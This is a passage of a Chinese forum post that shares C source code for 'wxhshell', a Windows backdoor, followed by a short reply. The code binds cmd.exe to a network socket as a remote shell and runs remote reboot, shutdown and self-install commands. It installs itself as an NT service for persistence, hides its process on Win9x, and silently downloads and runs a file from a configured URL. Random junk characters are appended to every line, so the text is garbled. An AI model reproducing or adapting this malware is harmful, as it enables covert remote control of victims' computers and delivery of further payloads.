  if(strstr(cmd,"http://")) { 44hz,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z+;670Z  
  if(DownloadFile(cmd,wsh)) V,3$>4x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1B`0.M'd  
  else HX:^:pF}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W-"FRTI4  
  } yc$8X sns  
  else { ;fY)7 '  
74Il]i1=  
    switch(cmd[0]) { {uO2m*JrI  
  ByXcs'  
  // 帮助 JA?P jo  
  case '?': { (Bfy   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1'J|yq  
    break; w5&,AL:  
  } "j+=py`  
  // 安装 ~ @s$  
  case 'i': { *j|BSd P  
    if(Install()) 8:UV;5@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <7~+ehu  
    else ]?2&d[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xn8r3Nb$A  
    break; y$pT5X G  
    } gcs8Gl2  
  // 卸载 D\G P+Ota  
  case 'r': { !bD`2m[Q  
    if(Uninstall()) ^,Y#_$oR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @GR|co  
    else tB{O6=q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); & AlX).  
    break; a@WSIcX*W  
    } 8h7z  
  // 显示 wxhshell 所在路径 itIzs99j  
  case 'p': { 5eSmyj-W  
    char svExeFile[MAX_PATH]; 9G}Crp  
    strcpy(svExeFile,"\n\r"); J\kv}v  
      strcat(svExeFile,ExeFile); "(#]H;!W  
        send(wsh,svExeFile,strlen(svExeFile),0); ,n?oNU  
    break; `BHPj p>  
    } W 7Y5~%@  
  // 重启  ^'c[HVJ  
  case 'b': { E MKv)5MH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); du4Q^-repC  
    if(Boot(REBOOT)) [L@ vC>G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H@,(  
    else { U.QjB0;  
    closesocket(wsh); KC{ HX?  
    ExitThread(0); }<kpvd+ps=  
    } ^cF_z}Zi+  
    break; vSy#[9}  
    } B?J #NFUb  
  // 关机 U_c.Z{lC4  
  case 'd': { ]`Y;4XR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :X;' 37o#q  
    if(Boot(SHUTDOWN)) hpJi,4r.d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YTpO4bX  
    else { R nf$  
    closesocket(wsh); E7qk>~Dg  
    ExitThread(0);  qTL]  
    } miZ&9m  
    break; aE( j_`L78  
    } jDO[u!J6.%  
  // 获取shell H-o>| C  
  case 's': { bR!*z  
    CmdShell(wsh); <M|kOi  
    closesocket(wsh); ca1A9fvo  
    ExitThread(0); AA$-Lx(UJk  
    break; dRXF5Ox5K}  
  } PNn{Rt  
  // 退出 BK8)'9/  
  case 'x': { LHb(T` .=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^H1B 62_  
    CloseIt(wsh); 8D U|j-I8  
    break; EsU-Ckb_2:  
    } 'J&$L c  
  // 离开 P'6eK?  
  case 'q': { 4b B)t#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B6iH[dTy_  
    closesocket(wsh); @m[r0i0J"  
    WSACleanup(); -%lA=pS{Fq  
    exit(1); 'Bp7LtG92  
    break; h$EH|9HAb  
        } ;V~[kF=t0  
  } c _li.]P  
  } \ueo^p]_?  
X rVF %  
  // 提示信息 j ,' $i[F'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6WQT,@ ?  
} c3&;Y0SD  
  } E}d@0C:  
{re<S<j&  
  return; lV-b   
} `r:n[N=Y&  
{f\/2k3  
// shell模块句柄 kqfO3{-;{:  
int CmdShell(SOCKET sock) [wJM=` !W  
{ MV<2x7S  
STARTUPINFO si; 1>1&NQ#}  
ZeroMemory(&si,sizeof(si)); Ap{p_~~iJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Pvq74?an`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5 #)5Z8`X  
PROCESS_INFORMATION ProcessInfo; B'OUT2cgB  
char cmdline[]="cmd"; ruG5~dm>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i"~J -{d}  
  return 0;  ]CD  
} 'Tn i;  
m?]X NgT  
// 自身启动模式 bZ0mK$B  
int StartFromService(void) j>(O1z 7  
{ F(J6 XnQ  
typedef struct }]ak6'|[  
{ W *t+!cU/:  
  DWORD ExitStatus; [;`B   
  DWORD PebBaseAddress; TzT(aWP"  
  DWORD AffinityMask; v"VpE`z1#  
  DWORD BasePriority; }j^asuf~c  
  ULONG UniqueProcessId; ?CgqHmf\\(  
  ULONG InheritedFromUniqueProcessId; '`#sOH  
}   PROCESS_BASIC_INFORMATION; IvFxI#.ju  
l&@]   
PROCNTQSIP NtQueryInformationProcess; B zmmE2~*  
A{Jp>15AVg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  $^F L*w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UMN3.-4K#  
#d,+87]\=  
  HANDLE             hProcess; ,iKL 68  
  PROCESS_BASIC_INFORMATION pbi; ]o18oY(  
8LI,'XZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1PD{m{  
  if(NULL == hInst ) return 0; t'e1r&^:r~  
038|>l-9[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :C*7 DS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 50#iC@1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uHj"nd13  
j\kT H  
  if (!NtQueryInformationProcess) return 0; 04`2MNfxG  
\':'8:E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZS*PY,  
  if(!hProcess) return 0; R_IUuz$e  
,@mr})s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?RyeZKf  
&M p??{g  
  CloseHandle(hProcess); v]UT1d=_T  
|sP;`h}I%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \$.8iTr@  
if(hProcess==NULL) return 0; V\$'3(*  
[Yr }:B <  
HMODULE hMod; Wt|IKCx   
char procName[255]; By& T59  
unsigned long cbNeeded; a<c]N:1  
dux.Z9X?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xeo5)  
e :(7$jo  
  CloseHandle(hProcess); w;@NYMK)  
cEI "  
if(strstr(procName,"services")) return 1; // 以服务启动 (_h=|VjK(I  
>|{n";n&  
  return 0; // 注册表启动 U($bR|%D  
} LH7m >/LJr  
gD}lDK6N  
// 主模块 . V5Pr}"y  
int StartWxhshell(LPSTR lpCmdLine) <'n'>@  
{ )ry7a .39b  
  SOCKET wsl; +ZFw3KEkz  
BOOL val=TRUE; #m x4pf{  
  int port=0; ='!E;  
  struct sockaddr_in door; 0&M~lJ  
uDhe )  
  if(wscfg.ws_autoins) Install(); ENZjRf4  
-|K^!G  
port=atoi(lpCmdLine); :1>h,NKC>  
;a"g<v  
if(port<=0) port=wscfg.ws_port; Yatd$`,hW  
5`Q*  
  WSADATA data; s7(NFX5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \wMqVRPoQ  
6T"4<w[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ``X1xiB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E}?n^Zf  
  door.sin_family = AF_INET; R;mA2:W)x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W|X=R?*ZK  
  door.sin_port = htons(port); J,iS<lV_  
Q]/ZVcoqo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C K#^`w  
closesocket(wsl); <}uhKp>*  
return 1; ,7HlYPec  
} -!o*A>N  
N>pTl$\4  
  if(listen(wsl,2) == INVALID_SOCKET) { 2VpKG*!\  
closesocket(wsl); 8jBrD1  
return 1; olm0O  (9  
} !4.VK-a9V%  
  Wxhshell(wsl); k^VL{z:EWB  
  WSACleanup(); Q$Q>pV;uH  
`$PdI4~J  
return 0; azhilUD8  
v11Uw?CM  
} [ TX1\*W  
GZefeBi  
// 以NT服务方式启动 rY?]pMp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^LI\W'K  
{ o#Gf7.E8  
DWORD   status = 0; 6Qc *:(GE  
  DWORD   specificError = 0xfffffff; $ jkzm8{W  
Vs1H)T%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1k)31GEQw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 83(-/ y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z;ze{Vb  
  serviceStatus.dwWin32ExitCode     = 0; v(0IQ  
  serviceStatus.dwServiceSpecificExitCode = 0; As{Q9o5j/  
  serviceStatus.dwCheckPoint       = 0; e w%rc.;  
  serviceStatus.dwWaitHint       = 0;  !n`9V^`  
7MbV|gM}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %LM2CgH V  
  if (hServiceStatusHandle==0) return; |*fi!nvk@  
dI(1L~  
status = GetLastError(); 2v$\mL  
  if (status!=NO_ERROR) C.|.0^5  
{ q1^bH 6*fl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,kQCCn]  
    serviceStatus.dwCheckPoint       = 0; 2y"L&3W  
    serviceStatus.dwWaitHint       = 0; ] /"!J6(e  
    serviceStatus.dwWin32ExitCode     = status; q!10 G  
    serviceStatus.dwServiceSpecificExitCode = specificError; /wi*OZ7R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C1`fJh y  
    return; &gLXS1O  
  } 9kzJ5}  
/KTWBcs 7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d[F3"b%  
  serviceStatus.dwCheckPoint       = 0; c)j60y   
  serviceStatus.dwWaitHint       = 0; 1b=,lm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 49o/S2b4z  
} W-RqooEv  
lRANXM  
// 处理NT服务事件,比如:启动、停止 /Moyn"Kj{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $6l^::U  
{ N,bH@Q.Ci  
switch(fdwControl) Hg~8Td**  
{ >qy$W4  
case SERVICE_CONTROL_STOP: \b;z$P\+*  
  serviceStatus.dwWin32ExitCode = 0; qV#,]mX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cy64xR BB  
  serviceStatus.dwCheckPoint   = 0; Qef5eih  
  serviceStatus.dwWaitHint     = 0; M7fPaJKL  
  { 6vfut$)[{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {1"kZL  
  } u0Bz]Ux/Q  
  return; pzT,fmfk  
case SERVICE_CONTROL_PAUSE: K_Pbzj4(P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; csFLBP  
  break; %N #A1   
case SERVICE_CONTROL_CONTINUE: 1f+z[ad&^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :IX_|8e ^  
  break; ^\oMsU5(  
case SERVICE_CONTROL_INTERROGATE: &s8vmUt  
  break; C14"lB.  
}; 3o2x&v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kmg/hNtN  
} \IhHbcF`d  
;uho.)%N`F  
// 标准应用程序主函数 -]Ny-[P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yJ:rry  
{ F Jp<J  
HPY;U N  
// 获取操作系统版本 [Mk:Zz%  
OsIsNt=GetOsVer(); vkLKzsN' ]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /s~BE ,su  
6/.kL;AI  
  // 从命令行安装 Z817f]l  
  if(strpbrk(lpCmdLine,"iI")) Install(); N^{}Qvrr  
c;,-I  
  // 下载执行文件 b{CS1P  
if(wscfg.ws_downexe) { %0zp`'3Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mKLWz1GZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); cte Wl/v  
} 12V-EG i  
#~o<9O  
if(!OsIsNt) { ~#dfZa&   
// 如果时win9x,隐藏进程并且设置为注册表启动 * EPJeblAV  
HideProc();  6o1[fr  
StartWxhshell(lpCmdLine); Y%!k'\n[2  
} !S'!oinV  
else 8{ +KNqz  
  if(StartFromService()) cpm *m"Nk  
  // 以服务方式启动 o?d`o$  
  StartServiceCtrlDispatcher(DispatchTable); L@S1C=-/  
else R].xT-1  
  // 普通方式启动 @d n& M9Z  
  StartWxhshell(lpCmdLine); BS2'BS8  
tmQ,>   
return 0; !y862oKD  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八